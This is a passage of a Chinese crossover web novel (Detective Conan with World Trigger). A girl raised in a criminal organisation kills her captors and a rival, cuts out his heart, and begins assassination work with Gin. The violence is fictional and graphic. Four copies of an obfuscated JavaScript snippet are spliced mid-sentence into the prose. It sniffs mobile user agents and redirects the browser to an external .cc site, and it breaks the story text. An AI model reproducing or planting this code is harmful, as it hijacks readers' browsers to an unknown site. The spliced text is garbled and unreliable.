幸好我的狙击训练已经用上动态的靶子了,不然肯定打不中。 只剩最后一个了,很难接近他,也没有子弹了。 给自己降低点难度吧,我想,反正能用更多Trigger了。 我把手枪揣好,伸手。 一个散发着盈盈光芒的方块出现在我的掌心,“Meteaora!”我颇有仪式感地在心底默念,然后一股脑地将切割出的十六分子弹全部打向天花板。 坍塌的瓦砾应该能砸死他吧。 依仗着Trion体不会被任何非Trion攻击伤害到的特性,我十分肆无忌惮地用了这个大杀招。 再不济的话,Meteaora的爆裂效果也能让他昏迷吧。 同样的,Border的防流弹设计也无法让我利用Trion杀人——也该说幸好。 我推开落在身上的砖块,警惕地在废墟里搜寻尸体。 斩草要除根,我都看了多少个因为不及时补刀而被反转的故事了? 我摸到了他的枪和身体,虽然像是没有脉搏了,可谨慎起见,我对着他的头部补了一枪。 一滩红白色的混合物溅在石块上,我实在忍不住呕吐的欲望,一直连酸水都要吐出来了还是不住地想吐。 “不要看。”系统给我视野内的血腥打上了马赛克,却更像是在自欺欺人。 “不用了,统。我总要习惯的。”我拒绝了系统的帮助,重复道:“我总要习惯的。” 对不起…… 一边道歉一边沿路补刀,我自己都觉得自己虚伪。 我搜刮了所有有用的东西,帮他们阖上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293713|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 望着这一路蜿蜒的血迹,我忽然感到天旋地转,他们死去的模样还历历在目…… “不要想。你没有做错。想想03号。”系统唤回我的思绪,“我们该打扫战场了。” “啊,嗯。”我努力打起精神。 系统给我标注了这栋建筑的所有承重柱,我在所有标注点设置了Meteaora的预置弹后,回到一楼后全部引爆。Meteaora的预置弹就等于现实里的炸弹,还是没法拆的那种。 用来毁尸灭迹还真是方便,我感慨着解除了变装。 我望着这栋平平无奇的建筑轰然倒塌后燃起的冲天火光出神。 “永别了,负责人。希望你和其它帮凶下辈子不要再做拐卖小孩的缺德事了。”我轻轻说道。 又在埋葬了我一年回忆的地方多停留了一会,我刚想转身离开,就听见一辆车停在我身后,随之响起的还有一道女声:“诶呀,这是发生什么事了?男孩,你能告诉我吗?嗯?”话落,她就往我的右手臂开了一枪。 他爹的!真疼!我背对着她,呲牙咧嘴地在心里骂道。 “转过身来,举起手不要动。”我按照她的指示慢慢转身,甚至还乖乖地举起摊开的双手以示自己的无害。我大概能猜到来者是谁,便没有反抗。 我望着她那一头金色的长发和优雅的身姿,心道,果然是贝尔摩德。 不过她怎么会在这里? “哦呀,认错性别了可真是不好意思啊,小女孩。”她打量着我清秀的脸蛋,更正道。 “滴答。”我盯着从胳膊上落到土里的血,强逼着自己不要又一次吐出来。 “女孩,说说这里发生了什么吧?是你干的好事吗?”她笑着朝我身后正在燃烧的房子示意。 我安静地点了点头。 “为什么?” “负责人说,”我为自己沙哑的声音惊讶了一瞬:“没有价值的孩子是不被需要的。”我努力地把萦绕在喉头的那股味道咽下去。 “嗯哼?”她发出一道鼻音,等着我的下文。 我抬头与她对视,慢吞吞地道:“我想了很久该如何证明自己的价值。” “——这样,我就算是有价值的人了吗?” 贝尔摩德愣了一下,仿佛被我逗笑了一般,她轻轻笑起来。 可分明笑意不达眼底。 我感觉自己像是被割裂成了两个人,理智的一半驱使着我说出那番话,感性的那半让我感觉自己仿若被拉入海底,翻涌的情感都被深海吞没殆尽。 世界与我像是隔了一层膜,明明贝尔摩德就站在我面前,可我却听不真切她说的话。 我刚往前走了一步,身体却不听使唤,天旋地转间我才发现自己倒在地上了。 好累…… 我无神地望着湛蓝的天空,眼睛一闭昏厥过去。 希望贝尔摩德会把我捡回去。 ……就算我树立了一个那么像变态的人设。 咕嘟咕嘟,我放任意识沉底。 “晚安。做个好梦。”我隐约听到系统说。 9. 第九章 “正好编号05空出来了,就让这孩子补位吧,毕竟单枪匹马杀了五个人呢。”女声调笑着说道,我迷迷糊糊地睁开眼,发现自己好像被送来了医务室。 贝尔摩德倚着医生的桌子,指间夹着的香烟亮着一点火星,烟气袅袅上升模糊了她的面容。 我刚动弹一下,右臂就传来一阵疼痛。 看来我晕过去没多久,伤口都还没给我处理呢,我瞧着胳膊上缠着的手帕想到。 “醒了?刚好给你把子弹取出来。”医生拿着一系列用具走过来。 我突然意识到自己该不会要清醒地经历包扎吧…… “有麻醉吗?”我抱着最后一丝希望,弱弱地问。 “没有哦。”贝尔摩德残忍地道。 治疗过后,我被安置到了新宿舍,我摸着缠好的绷带,不愿回想那疼得要死的过程。 顺利进入下一阶段了。 我要什么时候才能熬到头啊。 我用完好的手臂盖住眼睛,叹息地想到。 * 如果说之前的训练营还是小打小闹不涉及生命危险的话,那么新训练营就真称得上是危机四伏。 生活在这的每一天不仅要完成翻了好几倍强度的训练,更是得时刻提防身边的人会不会对你下手。 短短四年,我已经经历了无数次危机时刻,包括但不限于毒杀、狙杀、绞杀、溺死等等等等——数都数不清。 我感觉自己已经被组织摧残得不像样子了。 我养成了半夜三更听到一点风吹草动就会被惊醒的睡眠习惯。 不仅是同期,负责训练我们的人也随时可能闯进来,跟我进行生死搏斗。 突然袭击的次数多了之后,我不得不把所有武器都放到触手可及的地方,以便能够及时反应。 与此同时,我也变得不害怕跟人起冲突了。 真闹到不可开交的地步时,几发子弹就能解决一切问题。 ……啊,我已经失去了对生命的敬畏心了。 手上的鲜血变多之后,曾经纠缠我的梦魇也渐渐消失无踪——我甚至想不起当初那位负责人的脸了。 明明是我杀的第一个人。 我又往嘴里塞了一口饭,开始回顾我到底是怎么变成现在这副草菅人命的模样的。 “早。”一张长相精致,可我看了只会反胃的面孔笑嘻嘻地坐到我对面。 不需要任何思考,我反手赏了他一记子弹:“滚。” “大清早的——不要这么暴躁嘛!”他毫发无伤地偏头躲过,又撒娇似的控诉道。 我心情一下差得不能更差了,这个该死的变态!我变成现在这样,他可谓是功不可没。 我随手端起喝了一半的热汤直接朝他脸上泼去。 爽了。我看见他僵硬的表情配上一副落汤鸡的样子——尤其脑袋上还挂着一片菜叶——顿时心情大好地端着餐盘离开。 吃得差不多了,对着那张讨人厌的脸,我也没胃口。 这家伙还是知道什么行为会真正惹怒我,而什么行为只会让我感到不通快的,但凡他是在我刚开吃的时候来打扰我,我肯定就要把弹匣打空了。 被这家伙纠缠的原因还得从四年前说起。 新的负责人当时介绍我的话语给我拉了不少仇恨,大家都以为我是那种冷酷无情虐.杀.孩子的变态,所以根本没人愿意接近我——除了这个自顾自把我认成同类的变态。 我当然也不可能解释,否则他们会试着追回那些孩子也不一定。 于是我就这么忍受着这个变态的骚扰,我经历的那些搏杀之中,有百分之五十都是他搞的鬼。 训练营里不会有人管我们的生死,奉行‘有能力活下来的人才有培养价值’这道规则的组织巴不得我们互相残杀,直至最后一个人留下来。 变态在我们之间也是被公认的变态——他曾经将一个被组织放弃的叛徒活生生折磨致死。 他倒是暂时还没嚯嚯到我们头上,因为目前还能在这里活下来的,都不是能被轻易拿捏的茬子。 但只要给他抓住了这么个机会,他绝对会把相同的手段用上。 我也不是没有想过一劳永逸地摆脱大麻烦,可大麻烦能混到这儿,确实是有些实力的,有好几次我都差点就成功了,却叫他惊险地逃脱了。 不过事后他也在病床上躺了几个月,没法来烦我了。 也勉勉强强算是能解决这个麻烦。 很快!很快我就能完完全全摆脱他了!一想到三个月后的毕业测试,我就振奋起来——这一次绝不会再失手!那可是我为他精心挑选的埋骨地。 我又去靶场消磨时间,瞄着十环,忍不住把它换成变态的头。我发泄似的打空弹匣,还不错,误差很小。 “总觉得刚刚你很像什么变态杀人魔。”系统担心地道,“不要被他影响呀!咱想点开心的事。” 我收敛了表情,“统,你说得对。除了构建暗杀计划,他才不值得我费心。” “不行啊——”我懊恼地揉揉脸:“我现在完全是罪犯的心态,要是碰见正义红方的重要人物岂不是得分分钟给我拷进警局?” “我得改邪归正!起码日后遇事不能老用暴力解决问题。”我警告地给靠我靠得太近的人打了一枪,当然,只是打在脚下,然后看他忌惮地退远——我已经从他的眼神里读出“果然是变态”的字眼了,呜呜。 “你刚刚说了什么?”系统调侃道。 我嘿嘿笑了声:“等我出去以后就一定改掉!” 我换了个弹夹,继续打靶。 打靶这个事已经成为我的娱乐活动了,天天摸枪早就给我练出肌肉记忆了,我不需要花太多心思瞄准也能好好打中。 说起来,虽然我的初始Trigger选的是Ibis,但我不打算只练狙击用的Trigger。上次紧急练的Meteaora就发挥了很大的效果,考虑到将来的应用场景,我在那之后又接连学了Lightning、Hound、Grashopper和Chamelion,还刷了Meteaora的熟练度。 都是我为暗杀乌丸莲耶做的规划。 我已经磨刀霍霍了,唯一缺的条件就是找到他的藏身之地。 根据原著情报来看,深受Boss信任的似乎只有琴酒,贝尔摩德还有朗姆。 我起码要跟他们其中的一个打好关系才有机会得知Boss究竟藏在哪里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293714|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我目前的升职路径肯定是去行动组的,朗姆可以基本不考虑。 贝尔摩德的话……虽然那时是她把我捡了回来,但这些年来我没能再见到她一面,估计是回美国了吧,这条路也不太顺畅。 所以只剩琴酒了吗? 说实话我都不确定他现在是不是已经在组织了,毕竟原著好像没有描写他的过去来着。 算了,最迟等到苏格兰他们加入组织的时候,我就能找到琴酒了。 不过不提前把乌丸莲耶料理掉的话,就很难踢掉苏格兰的便当啊。 真是令人头大,救济警校组意外地不简单呢。 光是萩原研二那个要在六秒处理掉的炸弹就够麻烦了,更别说我还得在一众警员面前完成这个操作。而且这就像是在炸弹和炸弹犯里二选一,我想办法搞定炸弹时,有可能会失去炸弹犯的踪迹。这么一来的话,我又要在三年后救济松田阵平!我本来想抓住炸弹犯把松田阵平的事件蝴蝶掉的。 大不了麻烦点,救他们两次得了。 我暂时把烦恼抛到脑后。 警校组啊……现在到他们入警校的时候了吗? “统,降谷零在柯南元年时多少岁来着?”只在同人文里看过警校组的我实在记不太住他们的具体信息。 “29岁。” “那他现在多少岁?”我想算算自己在柯南元年时会是多少岁,然后发现我根本不知道距离柯南元年还有多久。 “现在应该是17岁?高二、高三的年纪。” “不是吧,还有十二年工藤新一才会变成柯南?!”我发出尖锐爆鸣。 我调出人物面板。 【年龄:15】 【身高:158cm】 【体质:6/10(身体倍儿棒,吃嘛嘛香)】 【力量:6/10(在努力成为大猩猩呢)】 【敏捷:7/10(身形灵活得像猴子)】 【Trion:10/?(通过锻炼每年稳定地提升了1点呢)】 “柯南元年的时候我27岁……”我双目无神地呢喃道,我居然还要在组织待十二年! “往好处想,咱们那时候能半退休了,想做什么做什么。”系统连忙宽慰我。 “对,等拿到代号以后我就要摸鱼!绝对不像琴酒一样当劳模!”我对琴酒的卷王行为发出谴责。 我收起自己的狙击枪,打算去随机听门课冷静冷静。 组织提供的五花八门的课其实偶尔还挺有趣的,不过和警校的重合度有点高。 什么侦察与反侦察、人体解剖、痕迹学、枪械原理、炸弹原理等等教会了我许多必备技能:如何不被发觉地安窃听器、如何搜出窃听器或定位器、如何判断有没有被跟踪又如何跟踪别人、如何甩掉跟踪的小尾巴、怎么察觉别人的视线、怎么安装和制造炸弹、怎么根据脚印判断鞋印主人的高矮胖瘦、尸体的哪种征象说明了什么样的杀人手法……越说越觉得自己是在上警校呢。 贯彻了知己知彼,百战百胜的原则呢。 我觉得我毕业后甚至可以无缝去当警察。 啊,但我不想执行卧底任务,我讨厌那种时时刻刻都需要伪装的人生。 10. 第十章 我盼望已久的那一天终于到来了。 结业测试会将我们所有人投放到一片森林里,在代号成员的伏击下活过四天并搜集两条非自己编号的彩带,最终完成任务的都算通过。过程中允许发生厮杀,监管者不会插手。 我听着规则,愤愤不平道:“我们都这么努力了,乌丸莲耶居然都不愿意给第一名一个代号!” 我背上统一发给我们的装备,跳下直升机。 芜湖——就像是在打PUBG一样,每人跳一个点,分散到不同的地方。 我拉开降落伞,安全着陆。 我打量着周围的环境,确认了自己大概在哪。 这片森林我们以前来过,附近可供我们训练的户外场地不多,来来回回就是那几个在轮换,每个场地我都大致摸熟了。 我在出发前就和变态约定了死战的场所——那是我们上一次在森林场里遇见一处湖畔,刚好处在整片森林的中心地区。 我马不停蹄地开始赶路,一路上尽是挑着狙击死角走,代号成员应该不至于下场跟我们近身缠斗吧?保险起见,我还尽量掩盖了自己的痕迹,免得有人追踪我。 越是靠近中心,我越是谨慎,说不准谁先到了在埋伏呢。 我来到附近的一处狙击点,透着瞄准镜监控着湖畔,意料之中的一个人影都没有。 变态虽然没有人性,但不是没有脑子,他不会傻到送上门来给我杀。 我相信他也是很认真地想要杀死我,所以一定会全力以赴地迎战吧。 我勾起了唇角,这才像样——作为回礼,我将为他献上盛大的死亡。 “宝,不要被变态污染啊!”系统的电子音听上去很是惊恐。 “不要害怕,我只是精神状态美丽了一点而已。”我安抚道,耐心地趴在地上,收敛声息,等待猎物的到来。 一直到夜幕降临,空投物资的时刻到了,我才树影幢幢中捕捉到了一丝动静。 来了。 冲着物资箱去的。 是变态吗? 不是的话我也可以打晕,然后抢走那个人的编号彩带,这样就能完成目标了。 我变装成Trion体,唤出弹速最快的黑色Lightning,时刻准备射击。 别误会,里面装载的不是铅弹,只是单纯改色用于适应天色罢了。 为了彻底埋葬变态,我使出了我的底牌,保险起见。 不过Trion体出现的时间越短越好,为了不让别人发现我远超平常的身体素质,我一直保持着非必要时刻都用肉身活动的习惯。 端着Lightning,我看见了编号07正警戒地一点点靠近落在湖畔的物资箱。 瞄着那处没有遮挡物,空旷到无处可躲的湖畔,我心说负责空投的人还真会找位置投放,冲着让我们遇见并厮杀的目的放的吧。 我收回Lightning,换回装着实弹的狙击枪。 07可能是别人先推出来当探路的棋子,尚且不宜暴露Trion子弹。 简单废掉他的四肢就好了——不,还是废手臂吧,让他起码还能逃跑,不然跟直接送他去喝孟婆汤没什么区别。 我快速地连射两枪,顺着之前预想好的路线转移。 然后不是很意外地撞上了变态,好歹也是经常交手的对手,很容易猜到彼此的意图。 视网膜里捕捉到疑似他的身影时,我毫不犹豫地就朝他射击。 优先瞄准躯干,击中的概率高一些,确保能打中后不怕磨不干他的血条,决定了行动方针的我躲在树后,判断他应该撤到我一点钟的方向了。 要怎么接近他呢? 不能用Grashopper,踏板散发出来的光芒太醒目了。 Chamelion虽然能让我和周围的环境融为一体,简单来说就是隐身,但是隐形的范围内不包括非Trion造物,也就是说我要么把枪收起来,要么冒着被看到凭空浮着一把枪的风险去偷袭他。 不太可行,这片森林里还藏匿着代号成员,刚刚爆发的枪声随时可能把别人吸引过来。 就凭Trion体本身的速度一决胜负吧。 连绵不绝的枪声惊起了一片鸟雀。 面对面的僵持片刻,我们用掉了最后一发子弹。 我把手枪丢弃,直接将他拖入近身战斗。 一记鞭腿踢中我之前制造出的枪伤,我看见他的面容因为疼痛扭曲一瞬,但他还是不管不顾地箍住我的腿。我反应极快地顺势一拧身,腿部直击他的脑袋,逼得他松开手,往后一仰堪堪避过。 我在地面上撑了一下,一个后空翻落地,然后蓄力再次冲过去。 疼痛和剧烈运动导致的失血已经逐渐让他疲于招架,决不能给他喘息之机。 我反手掏出匕首,步步紧逼地给他添上更多口子。 刀刃割掉他鬓边的头发时,我真恨自己的胳膊不够长,不然这下就该划破他的喉咙了。 我们战得如火如荼之际,一记狙击忽然介入。 察觉到的瞬间我就想躲开,可谁知那个疯子居然死死拽着我,一副要同归于尽的模样! 该死的!顺着拉拽的力,我咬牙把他一起抡出去,然后逮着他的破绽狠狠捅穿。 血液溅到我手上,我正要旋转刀柄扩大伤害范围时,他的手也紧紧抓住我,不让我动弹。 僵持不下的瞬间,狙击又来了,我恨恨地拉着他在地上翻滚,勉强躲到遮蔽视线的草木中。 手脚并用地对抗着,我望见他笑得神经质的脸,心里一股无名火起。 有没有什么办法能让他短暂失神片刻?只要一下,我就能抓住机会了结他! 电光火石之间,我想起了游真在对战王子队和生驹队时的神来一笔。 将自己的脑袋差不多对准他的额头,我悄悄在自己的后脑勺布了一个能够增加弹跳力的Grashopper跳台,然后狠狠往后一仰。有跳台加成的一个头槌足以让他昏迷,我趁他手上失力的一瞬间,错手割破他的喉管。 “嗬嗬……”喷涌而出的鲜血染红了我的视野,我把匕首往下挪,刺穿了他的心脏。 他不甘心地往旁边倒去,笑容也凝固成了怪异的模样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293715|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我把糊在脸上的血随意抹了几下,让视野变得更清晰些,然后把半压在我身上的躯体踹开。 心头大患清除了,我感觉整个人都神清气爽了。 我起身走到尸体旁边,割破他的衣襟,“统,保险起见,我还是把他的心脏剜出来吧。”我动作一顿,还是觉得不放心。 我真的很怕他诈尸。 “统,就算柯南世界再怎么离谱,也不至于让一个心脏都没了的人死而复生吧?”手里捧着一颗心脏,我用刀比划了一下他的四肢。 “这样的处理应该够了。”系统阻止了我接下来的动作:“不管怎么说,分尸都有点太过了吧……” 我把那颗心脏收进系统背包,还是勉强给他留了个全尸。 搜刮完残留的武器和彩带,我掩埋一切痕迹后往刚刚降落的物资箱去。 “统,你说狙击的人会是代号成员吗?”赶路时我想起方才的两发狙击,很难说是冲着我来的还是冲着变态来的,仿佛杀死我们当中的谁都无所谓。 不过我好像没有感知到明显的杀意,从开始到结束,期间有几个绝对能把我们一箭双雕的时机,那个狙击手反而都没出手。 我透过瞄准镜观察着物资箱。 绑绳都还在上面,不像有人动过的样子。 虽然解决变态着实花了些时间,但物资应该不至于被洗劫一空了。 也不能排除有人把它当诱饵钓鱼。 我思虑再三,决定还是去看看。 我一边观察,一边小心翼翼地靠近。 拿到补给的过程顺畅得不可思议——没有狙击,没有埋伏,一个人影都不见,仿佛只有我还在参加这场考试。 我找到了个山洞,解除变装,就着手电查看到手的东西。 六个弹匣,压缩饼干,水源,还有一个显示屏,我看着上面移动的红点点,心说这应该是给我们提供了别的同期的实时位置,哈,给了我们彼此狩猎的机会呢。 距离结束还有三天,我啃着硬得要死的压缩饼干,只恨战线为什么要拉这么长,害得我好几天都吃不到美食。 把玩着弹匣,我有点后悔当时脑子一热就把手枪丢掉的行为。 “统,你还能检测到我的手枪丢在哪儿吗?”我不抱希望地求助我的外挂。 “没来得及标记,毕竟那是统一发的,我还没算成你的所属物。如果丢的是你的狙击枪,我倒是能找着。”我确实不想弄丢我的狙击枪,它都跟了我四年了,是可靠的好伙伴,我爱惜地摸了摸,估计以后也会一直跟着我。 “那就没办法了,从别人那抢吧。前提是我能遇见人。”我耸了耸肩,决定休息过后去追踪离我最近的人。 我把东西都收好,靠着冰冷的岩体假寐。 “又冷又硌人,这要我怎么睡得着。”我忍不住抱怨道。 “咱们忍忍,忍过这几天就能去外面的社会了。”我感觉系统在把我当小孩子哄。 不过当小孩有什么不好? 按照这具身体原本的走向,在这个年纪,她应该也会成为除了杀人,其它方面都天真无比的小孩。 11. 第十一章 我满怀感激地又吃上了组织的饭。 跟干涩到难以下咽的压缩饼干相比,什么正常的食物都是美味的。 午餐过后就是我们的“毕业典礼”,我终于又能接触到外面的花花世界了! 虽然用了这么青春校园的描述,但其实就是给我们分配未来会搭档的代号成员。 我收拾好要带走的东西,没什么私人物品,几乎全是武器,从炸弹到狙击枪到手枪再到匕首。 衣服都是基地统一发放的,没有拿的必要,于是一个装着满满军火的行李箱就收拾好了。 我数了数最后回到基地的成员,除了平日里结仇的几对只回来了一个人以外——看来大家都打着跟我差不多的主意——其它比较低调的都活着回来了,或多或少带点伤,不过命起码是保住了。 组织设置的目标就杜绝了所有人都顺利完成任务的可能性。 失败的成员也不少,比如07就因为被我打伤且抢走了彩带而没能通过考核,不过组织不至于把所有没通过的成员都当作废物处理,毕竟他们这几年也不是白练的,而且能在考核里活下来这件事本身也说明了他们的实力,起码能当个外围成员。 以后表现卓越也有资格升到代号成员的级别。 再说,成为外围成员也未必是坏事,能有个假身份在社会上正常生活下去不好吗? 塞翁失马,焉知非福,我甚至能想到有谁会是故意不去做任务的。 我后半程也是找了几个可攻可守,附近又有物资投放的地点偷懒。 有人靠近,我就打几枪震慑一下,也懒得追。看我弹药充足的样子,大多数人会放弃来抢我的彩带,不过我也有过跟人中门对狙的时刻。 那个狙击技术十分精湛的人害我不得不换个据点。 我仅仅是打穿了他的帽子而已,他却报复似的给我肩膀上来了一枪。虽然只是擦伤,但我害得我好几天都得穿脏衣服了! 还是作为狙击手的训练量不够,我要是能找个人拜师就好了,有人教的话应该能让我的技术更上一层楼吧。 我盘算着柯南原著里描写过的狙击手,发现拥有顶尖技术的也就寥寥几个,比如琴酒、黑麦和苏格兰? 其它两个都还没进组织…… 好,跟琴酒拉近关系的又一契机,嘿嘿,真是一举两得。 WT里也有很多厉害的狙击手,比如桃李满天下的东队长,或者目前积分排名第一的当真,还有精准打击别人武器的鸠原小姐姐等等。而且!我们还有独特的穿墙狙击操作!因为Trion子弹不会被水泥钢筋所阻挡。 我回忆起东队长穿墙狙杀修的场景,不由得一阵心潮澎湃。对不起了,修,但东队长那一招真的太帅了!虽然绘马之后也用过,但果然还是先出现的更让人印象深刻。还有东队长用Lightning把三发Meteaora射落的操作更是令人拍案叫绝!我就是因为这个才想学Lightning和Ibis的啊! 不过我距离那个程度还远着呢。 我没时间全身心地投入Trigger训练,一天能抽空花个一个小时在上面就不错了,再加上我学得还比较杂——说是射手吧也没熟练到那个程度,说是狙击手吧也不太对味,我更不敢标榜自己是全能手,所以四年下来,按Border的标准我大概算有一技之长的B级队员? 激动过后得出的结论让我忍不住愁眉苦脸,害,不想这个了。 我懒洋洋地托着腮,眯眼看着顺利通过的其它成员跟着不认识的代号成员离开。 我打个哈欠,等待分配到的那位代号成员把我领走——听起来很像是在幼儿园等家长来接的小孩。 说起来,参加了这次考核的所有人都能离开这个训练营,以外围成员或代号成员预备役的身份。 不错,大家都能脱离苦海。 加上我,分配到搭档的一共有四人,也就是说我能认识四个代号成员——原来组织有这么多人吗?我颇为后知后觉地想到,印象中酒厂的掺水量不是很高吗?这些代号成员看起来都不像卧底诶。 正当我神游天际之时,一个戴着黑色礼帽又一身黑色大衣的长发男子站在了我面前。 我望着他的帽子上不太明显的洞想到,好家伙,原来就是你打的我吗?! 礼帽和刘海遮住了他的神情,但我能察觉到他的骨架跟成年人相比好像还是小了点?我滑过他突出的喉结,又有点不确信。 “统,你说……这个形象是不是有点眼熟?”我越看越觉得这个人眼熟,迟疑地跟系统说道。 但我应该没有见过这样的人,这个长度的头发在我们基地很显眼,我不可能没有印象,除非…… 视线落到他银色的发尾,我心里缓缓浮现一个猜想……不会吧?不会这么巧吧? “代号琴酒,从今天起是你的搭档。”酷哥冷淡地说完,转身。 我呆坐在那没动。 琴酒,原来你从年少时起就是这副经典建模了啊! 我基本确信他应该就是在柯南正片里出现的琴酒,因为外貌特征都对得上。 怪不得头发那么长,原来现在就已经留了很久了吗。 察觉到我半晌没有动静,他回过头给了我一记眼刀。 我机械性地站起来跟他走。 虽然我是有希望过跟琴酒搭档啦,但这也太顺利了吧?我有什么心想事成buff吗? “统,我的幸运值多少?”我问道。 “还是4哦。” 我怀疑人生地亦步亦趋跟随在他身后,然后在他突然停住脚步的时候凭着本能反应过来没有撞上。 “叫什么?”他领着我走出训练营的大门。 太阳亮得让我睁不开眼,但晒得身体暖洋洋的。 像是也能晒掉心里的阴霾,我感觉心情愉快多了。 专注于感受阳光的我慢了半拍才意识到他是在问我,我不过脑子地答:“编号05。” 他没接话,把我的行李放进后备箱,然后拉开他经典的保时捷356A的车门坐了进去。 他瞥了眼不知道为什么又在发呆的我,降下车窗说:“愣着干嘛?上车。”他见我还是不动,“不会开车门?” “那还是会的。”我无语地绕到副驾驶。为什么都把我当弱智啊?我只是反应慢了点而已! “可以的话,叫我苓吧。记得很久以前我应该是叫这个名字的。”我对名字的话题进行补充道。 我实在没能厚脸皮地在琴酒面前说自己叫‘当归不当归’,又顺着当归这个姓想了个中药。 琴酒径直发动车子:“第一个任务就在今晚,狙杀一个和我们撕毁了合作协 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293716|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议的富豪。”他跟我讲起任务细节:“情报都在后座,你自己看。” 不愧是琴酒,上来就先用任务判断你的价值。 我感叹完,折过身去拿文件袋,确认了任务目标的脸、周遭环境的情报、潜入路线后,选定了一个狙击点。 “希望你的表现不要让我失望。”琴酒冷笑一声,一副做不到就杀了你的口吻。 我顿时严肃了表情,眼神坚毅地道:“大哥放心!保证完成任务!”抱歉伏特加,从今天起这就不是你的专属称呼了! 琴酒对这个称呼不置可否,一路把我送到了富豪家附近的一条街。 “完成任务后,我会在这里接应你。” 我纠结了好半天,还是决定发问:“大哥,你不会骗我的对吧?不会让我在这吹一夜的寒风对吧?” 琴酒估计是懒得回我,直接要把我赶下车。 我死死抓着他的胳膊,要他发誓:“你保证!你绝对绝对会来接我!”我耍无赖般地大叫道。 琴酒蹙着眉,用了各种方法都不能挣开我,眼见他不耐烦地想要掏枪,我直接一个眼疾手快按住了他拿枪的手:“为什么不跟我保证!你知道这样会让我多没安全感吗?!为什么你连这点安全感都不肯给我!” “这台词,好像误入了什么狗血剧片场。”系统吐槽道。 琴酒打量着我认真的脸,终于松口,“我保证,一定会来接你。” “说谎的人要吞一千根针!”我目光灼灼地盯着他。 “好。” 我终于满意地下车,拿出我的行李,然后站在路边,一个大跨步躲开了琴酒临走前补给我的一记子弹。 用的还是他心爱的□□。 平心而论,琴酒这个反应还算温柔了,在训练营里要是跟人有这种程度的肢体接触,那早就打起来了,下死手的那种。 我一路东张西望,像是刘姥姥进大观园似的拖着行李箱在街边逛了起来。 坏了,该问琴酒要点钱的。 我闻着路边摊散发出的香气,简直被馋得流口水,可惜我身无分文,不能全款拿下章鱼小丸子。 我流着泪问天问系统:“人和人之间怎么能有这么大的差距!琴酒都有钱开上保时捷了,而我连买份吃的钱都没有!” “回去就问他要!然后大吃特吃,吃个痛快。”系统熟练地给我顺毛。 我依依不舍地挥别小丸子,目露凶光地赶去任务地点。 踩点也踩得差不多了,除了零星几个保镖在游荡,没发现有公安机关的人,想来是那个富豪不敢求助警察吧,毕竟自己也不干净。 早点完事,早点拿到报酬,早点去吃好吃的!我来到狙击点,动作轻快地架起狙击枪。 富豪住的居然不是大庄园真是省了我潜进去的工夫,不过也可能是被组织恐吓得不敢再住。 我看着酒店里被保镖簇拥着的肥胖身影,心说他可真是会选位置,这么大个落地窗是生怕自己不被狙击吗?还是说他对防弹玻璃很有自信? 我三下五除二地解决任务,悠哉游哉地回到街上闲逛。 手机都没有,我该怎么联系上琴酒啊?逛够了之后,我正蹲在路边发愁,就见一辆保时捷356A缓缓靠近。 哦!琴酒大哥还是值得信任的!我愉快地开启了和琴酒的搭档生活。 12. 第十二章 我真傻,真的。 我光是想到了琴酒的可靠——跟他出任务实在是很轻松,全程听指挥就行,目前为止还没被坑过——但我怎么忘记了他的劳模属性啊! 短短三个月,我已经跟他跑了无数个地方,做了无数个任务了! 往往都是在一个任务地点待一晚,完成任务后就立即赶往下一个任务地点,多数时间都花在了赶路上,解决任务目标这个行为反而只需要一两个小时。 真高效啊,我不得不佩服。 这么连轴转下来就清理了大半待办的任务,怪不得大家都说组织是靠琴酒在运转呢。 就是有点费搭档,我看着镜子里憔悴的自己,深觉不能再这么过下去了! 我要告到中央!组织,啊不,琴酒他压榨未成年人! ……虽说他自己也还算未成年人。 在我对一切行动展现了高度配合且表现优异的情况下,我多多少少赢得了琴酒的信任,于是某次闲聊时——其实就是我在作妖——我才得知他居然只比我这具身体大两岁! 琴酒的精力条真恐怖啊。 我怨念地望着坐在我对面吃早餐的琴酒。 